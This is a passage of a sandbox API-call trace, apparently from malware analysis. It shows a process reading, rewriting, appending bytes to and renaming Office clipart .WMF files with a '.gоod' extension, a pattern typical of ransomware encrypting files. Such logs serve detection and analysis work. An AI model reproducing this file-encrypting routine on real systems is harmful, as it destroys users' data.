nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF", lpFilePart=0x0) returned 0x44 [0150.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0150.884] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x37e0378 | out: lpFileInformation=0x37e0378*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1634)) returned 1 [0151.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0151.245] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF", lpFilePart=0x0) returned 0x44 [0151.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0151.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0151.246] GetFileType (hFile=0x804) returned 0x1 [0151.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0151.246] GetFileType (hFile=0x804) returned 0x1 [0151.248] SetFilePointer (in: hFile=0x804, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0151.248] ReadFile (in: hFile=0x804, lpBuffer=0x380cc80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x380cc80*, lpNumberOfBytesRead=0x1faedd28*=0x634, lpOverlapped=0x0) returned 1 [0151.282] CloseHandle (hObject=0x804) returned 1 [0151.282] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF", lpFilePart=0x0) returned 0x44 [0151.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0151.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0151.283] GetFileType (hFile=0x804) returned 0x1 [0151.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0151.283] GetFileType (hFile=0x804) returned 0x1 [0151.283] SetFilePointer (in: hFile=0x804, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1634 [0151.283] WriteFile (in: hFile=0x804, lpBuffer=0x3849d88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3849d88*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0151.283] CloseHandle (hObject=0x804) returned 1 [0151.283] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF", lpFilePart=0x0) returned 0x44 [0151.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0151.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0151.283] GetFileType (hFile=0x804) returned 0x1 [0151.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0151.283] GetFileType (hFile=0x804) returned 0x1 [0151.283] ReadFile (in: hFile=0x804, lpBuffer=0x384c048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x384c048*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0151.310] CloseHandle (hObject=0x804) returned 1 [0151.310] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF", lpFilePart=0x0) returned 0x44 [0151.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0151.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0151.310] GetFileType (hFile=0x804) returned 0x1 [0151.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0151.310] GetFileType (hFile=0x804) returned 0x1 [0151.311] WriteFile (in: hFile=0x804, lpBuffer=0x384ada0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x384ada0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0151.311] CloseHandle (hObject=0x804) returned 1 [0151.311] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF", lpFilePart=0x0) returned 0x44 [0151.311] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0151.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0151.311] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5665d224, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1644)) returned 1 [0151.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0151.311] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.gоod")) returned 1 [0151.312] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF", lpFilePart=0x0) returned 0x44 [0151.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0151.312] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x38c85c8 | out: lpFileInformation=0x38c85c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5062)) returned 1 [0151.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0151.312] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF", lpFilePart=0x0) returned 0x44 [0151.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0151.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0151.463] GetFileType (hFile=0x804) returned 0x1 [0151.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0151.463] GetFileType (hFile=0x804) returned 0x1 [0151.463] SetFilePointer (in: hFile=0x804, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0151.464] ReadFile (in: hFile=0x804, lpBuffer=0x37d5ba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x37d5ba0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0151.465] CloseHandle (hObject=0x804) returned 1 [0151.465] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF", lpFilePart=0x0) returned 0x44 [0151.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0151.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0151.465] GetFileType (hFile=0x804) returned 0x1 [0151.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0151.466] GetFileType (hFile=0x804) returned 0x1 [0151.466] SetFilePointer (in: hFile=0x804, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x5062 [0151.466] WriteFile (in: hFile=0x804, lpBuffer=0x37d6e38*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x37d6e38*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0151.466] CloseHandle (hObject=0x804) returned 1 [0151.467] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF", lpFilePart=0x0) returned 0x44 [0151.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0151.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0151.467] GetFileType (hFile=0x804) returned 0x1 [0151.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0151.467] GetFileType (hFile=0x804) returned 0x1 [0151.467] ReadFile (in: hFile=0x804, lpBuffer=0x37d90f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x37d90f8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0151.495] CloseHandle (hObject=0x804) returned 1 [0151.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF", lpFilePart=0x0) returned 0x44 [0151.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0151.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0151.495] GetFileType (hFile=0x804) returned 0x1 [0151.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0151.495] GetFileType (hFile=0x804) returned 0x1 [0151.495] WriteFile (in: hFile=0x804, lpBuffer=0x37d7e50*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x37d7e50*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0151.495] CloseHandle (hObject=0x804) returned 1 [0151.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF", lpFilePart=0x0) returned 0x44 [0151.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0151.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0151.495] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56826e96, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5072)) returned 1 [0151.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0151.496] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.gоod")) returned 1 [0151.496] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF", lpFilePart=0x0) returned 0x44 [0151.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0151.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x38567c8 | out: lpFileInformation=0x38567c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a50)) returned 1 [0151.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0151.496] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF", lpFilePart=0x0) returned 0x44 [0151.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0151.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0151.497] GetFileType (hFile=0x804) returned 0x1 [0151.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0151.497] GetFileType (hFile=0x804) returned 0x1 [0151.497] SetFilePointer (in: hFile=0x804, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0151.497] ReadFile (in: hFile=0x804, lpBuffer=0x3856be0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3856be0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0152.073] CloseHandle (hObject=0x804) returned 1 [0152.073] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF", lpFilePart=0x0) returned 0x44 [0152.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0152.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0152.074] GetFileType (hFile=0x804) returned 0x1 [0152.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0152.074] GetFileType (hFile=0x804) returned 0x1 [0152.074] SetFilePointer (in: hFile=0x804, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x2a50 [0152.074] WriteFile (in: hFile=0x804, lpBuffer=0x3a88850*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3a88850*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0153.189] CloseHandle (hObject=0x804) returned 1 [0153.189] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF", lpFilePart=0x0) returned 0x44 [0153.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0153.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0153.191] GetFileType (hFile=0x804) returned 0x1 [0153.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0153.191] GetFileType (hFile=0x804) returned 0x1 [0153.191] ReadFile (in: hFile=0x804, lpBuffer=0x39d0a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x39d0a30*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0153.767] CloseHandle (hObject=0x804) returned 1 [0153.767] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF", lpFilePart=0x0) returned 0x44 [0153.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0153.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0153.767] GetFileType (hFile=0x804) returned 0x1 [0153.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0153.767] GetFileType (hFile=0x804) returned 0x1 [0153.767] WriteFile (in: hFile=0x804, lpBuffer=0x321bfd0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x321bfd0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0153.813] CloseHandle (hObject=0x804) returned 1 [0153.814] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF", lpFilePart=0x0) returned 0x44 [0153.814] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0153.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0153.816] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x57e39d7f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2a60)) returned 1 [0153.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0153.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.gоod")) returned 1 [0153.854] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF", lpFilePart=0x0) returned 0x44 [0153.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0153.854] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x33857c0 | out: lpFileInformation=0x33857c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x385c)) returned 1 [0153.855] 